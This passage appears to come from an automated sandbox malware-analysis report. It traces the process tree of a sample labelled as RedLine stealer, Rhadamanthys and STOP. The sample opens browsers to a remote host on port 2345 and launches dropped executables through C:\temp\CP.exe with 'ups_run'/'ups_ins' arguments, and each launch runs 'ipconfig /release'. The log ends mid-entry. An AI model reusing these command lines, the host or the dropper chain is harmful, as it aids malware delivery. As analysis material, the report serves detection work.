PID 5392 wrote to memory of 5680	5392	msedge.exe	115
PID 5392 wrote to memory of 1296	5392	msedge.exe	116
PID 5392 wrote to memory of 1296	5392	msedge.exe	116
PID 5392 wrote to memory of 5368	5392	msedge.exe	119
PID 5392 wrote to memory of 5400	5392	msedge.exe	120
PID 5392 wrote to memory of 5368	5392	msedge.exe	119
PID 5392 wrote to memory of 5400	5392	msedge.exe	120
PID 2956 wrote to memory of 3188	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 2956 wrote to memory of 5240	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 2356 wrote to memory of 3024	2356	omgezwrpje.exe	127
PID 2956 wrote to memory of 4396	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 2956 wrote to memory of 5660	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	134
PID 3492 wrote to memory of 3516	3492	toljhbywtr.exe	136
PID 2956 wrote to memory of 264	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	139
PID 2956 wrote to memory of 5744	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 3012 wrote to memory of 4848	3012	rojgbztolg.exe	145
PID 2956 wrote to memory of 2032	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	149
PID 5392 wrote to memory of 2568	5392	msedge.exe	151
PID 5392 wrote to memory of 4704	5392	msedge.exe	152
PID 5392 wrote to memory of 3880	5392	msedge.exe	153
PID 2956 wrote to memory of 564	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 6072 wrote to memory of 3384	6072	vqnljdbvtq.exe	158
PID 2956 wrote to memory of 5704	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 2956 wrote to memory of 1500	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 5256 wrote to memory of 1328	5256	sqkidavsnk.exe	167
PID 2956 wrote to memory of 2196	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 2956 wrote to memory of 2324	2956	2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 4080 wrote to memory of 5976	4080	ifaxspnkic.exe	176

C:\Users\Admin\AppData\Local\Temp\2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-27_bf02061a7b8a9feebaf1d54045c56cbd_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2956
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffd3591c188,0x7ffd3591c194,0x7ffd3591c1a0
      4⤵
      PID:2044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2080,i,14074387647109103045,7673996999342545807,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:11
      4⤵
      System Time Discovery
      PID:4268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1972,i,12030899260955887079,1014711645204526956,262144 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:2
      4⤵
      PID:2072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2304,i,3242737634972198307,9532033590363162815,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=2848 /prefetch:13
      4⤵
      PID:4540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3612,i,6512714693299270849,2281967664864005396,2097152 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=3812 /prefetch:1
      4⤵
      PID:364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3608,i,12458715120517218982,2794417855603671311,2097152 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=3792 /prefetch:1
      4⤵
      PID:244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4348,i,1216367968698904745,5107279249050980821,2097152 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=4500 /prefetch:1
      4⤵
      PID:4792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4368,i,15642763378304292393,16007576733186066418,2097152 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:9
      4⤵
      PID:1284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4468,i,1307906293149494371,7434824375502092297,2097152 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:1
      4⤵
      PID:5156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3768,i,5592789079102286521,5816060876556161172,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
      4⤵
      PID:2840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,5764018873593353622,1491168860447040633,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:14
      4⤵
      PID:5536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5568,i,16599727448093266978,5212934011312168575,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:14
      4⤵
      PID:2860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,15328543216219966413,4880640587216534730,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
      4⤵
      PID:2976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,15328543216219966413,4880640587216534730,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:14
      4⤵
      PID:4800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,2997321334086681676,1166115315435732500,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:14
      4⤵
      PID:5680
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6680,i,12014378529610397490,15045307254801664640,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
      4⤵
      PID:1296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6996,i,8025760157506710461,11497619829501344250,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6652 /prefetch:14
      4⤵
      PID:5368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,10353936326027609218,4887512033593150607,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:14
      4⤵
      PID:5400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1416,i,18410000786920617101,2886660803254239860,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=1284 /prefetch:14
      4⤵
      PID:2568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1424,i,6253864163757440809,4366608346279574287,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=1404 /prefetch:14
      4⤵
      PID:4704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1432,i,3978644419637814138,5434618014212873753,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
      4⤵
      PID:3880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4100,i,17802803368084165851,17003406796596680054,524288 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:14
      4⤵
      PID:920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6960,i,13331924595686997399,13190006305431615858,262144 --field-trial-handle=2176,i,2612044472160308681,5465961507269332080,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:10
      4⤵
      PID:3204
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:6040
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxrmkfzupj.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:900
- - C:\Temp\zxrmkfzupj.exe
    C:\Temp\zxrmkfzupj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3852
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1244
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxrmkfzupj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3188
- - C:\Temp\i_zxrmkfzupj.exe
    C:\Temp\i_zxrmkfzupj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5184
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgezwrpje.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5240
- - C:\Temp\omgezwrpje.exe
    C:\Temp\omgezwrpje.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3024
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5608
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgezwrpje.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4396
- - C:\Temp\i_omgezwrpje.exe
    C:\Temp\i_omgezwrpje.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\toljhbywtr.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5660
- - C:\Temp\toljhbywtr.exe
    C:\Temp\toljhbywtr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3492
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3516
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3372
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_toljhbywtr.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:264
- - C:\Temp\i_toljhbywtr.exe
    C:\Temp\i_toljhbywtr.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojgbztolg.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5744
- - C:\Temp\rojgbztolg.exe
    C:\Temp\rojgbztolg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4848
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2716
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojgbztolg.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2032
- - C:\Temp\i_rojgbztolg.exe
    C:\Temp\i_rojgbztolg.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vqnljdbvtq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:564
- - C:\Temp\vqnljdbvtq.exe
    C:\Temp\vqnljdbvtq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6072
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3384
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5108
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vqnljdbvtq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5704
- - C:\Temp\i_vqnljdbvtq.exe
    C:\Temp\i_vqnljdbvtq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\sqkidavsnk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1500
- - C:\Temp\sqkidavsnk.exe
    C:\Temp\sqkidavsnk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5256
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1328
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_sqkidavsnk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2196
- - C:\Temp\i_sqkidavsnk.exe
    C:\Temp\i_sqkidavsnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5924
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ifaxspnkic.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2324
- - C:\Temp\ifaxspnkic.exe
    C:\Temp\ifaxspnkic.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5976
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5052
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ifaxspnkic.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5912
- - C:\Temp\i_ifaxspnkic.exe
    C:\Temp\i_ifaxspnkic.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicaxvsnhf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4240
- - C:\Temp\kicaxvsnhf.exe
    C:\Temp\kicaxvsnhf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3108
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4596
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2020
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicaxvsnhf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5716
- - C:\Temp\i_kicaxvsnhf.exe
    C:\Temp\i_kicaxvsnhf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecxupmhfzx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4192
- - C:\Temp\ecxupmhfzx.exe
    C:\Temp\ecxupmhfzx.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1160
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5708
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ecxupmhfzx.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:6040
- - C:\Temp\i_ecxupmhfzx.exe
    C:\Temp\i_ecxupmhfzx.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\urpjhecwro.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5828
- - C:\Temp\urpjhecwro.exe
    C:\Temp\urpjhecwro.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6112
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4516
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_urpjhecwro.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4952
- - C:\Temp\i_urpjhecwro.exe
    C:\Temp\i_urpjhecwro.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\trljdbwtom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:5796
- - C:\Temp\trljdbwtom.exe
    C:\Temp\trljdbwtom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5036
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3728
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3420
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_trljdbwtom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:5640
- - C:\Temp\i_trljdbwtom.exe
    C:\Temp\i_trljdbwtom.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5296
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jgeywtrljg.exe ups_run
  2⤵
  PID:1920
- - C:\Temp\jgeywtrljg.exe
    C:\Temp\jgeywtrljg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1608
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5508
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5756
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jgeywtrljg.exe ups_ins
  2⤵
  PID:5528
- - C:\Temp\i_jgeywtrljg.exe
    C:\Temp\i_jgeywtrljg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3336
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tnljdbvtrl.exe ups_run
  2⤵
  PID:2360
- - C:\Temp\tnljdbvtrl.exe
